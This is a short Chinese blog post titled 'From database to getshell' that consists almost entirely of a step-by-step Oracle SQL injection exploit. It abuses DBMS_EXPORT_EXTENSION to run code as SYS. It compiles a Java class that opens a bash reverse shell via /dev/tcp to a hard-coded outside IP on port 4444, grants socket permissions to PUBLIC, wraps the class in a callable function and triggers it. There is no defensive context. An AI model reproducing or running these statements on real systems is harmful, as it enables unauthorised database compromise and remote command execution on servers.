从数据库到getshell

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#创建代码
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace and compile java source named "shell" as import java.io.*;import java.net.*;public class shell {public static void run() throws Exception{String[] aaa={"/bin/bash","-c","exec 9<> /dev/tcp/101.33.203.2/4444;exec 0<&9;exec 1>&9 2>&1;/bin/sh"};Process p=Runtime.getRuntime().exec(aaa);}}'''';END;'';END;--','SYS',0,'1',0) from dual

#赋予java权限
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.net.SocketPermission'''''''', ''''''''<>'''''''', ''''''''*'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual

#创建函数
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT" .PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace function reversetcp RETURN VARCHAR2 as language java name ''''''''shell.run() return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual

#赋予执行权限
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT" .PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on reversetcp to public'''';END;'';END;--','SYS',0,'1',0) from dual

#执行反弹
select sys.reversetcp from dual


从数据库到getshell
http://example.com/2022/06/22/从数据库到getshell/
Author
springtime
Posted on
June 22, 2022
Licensed under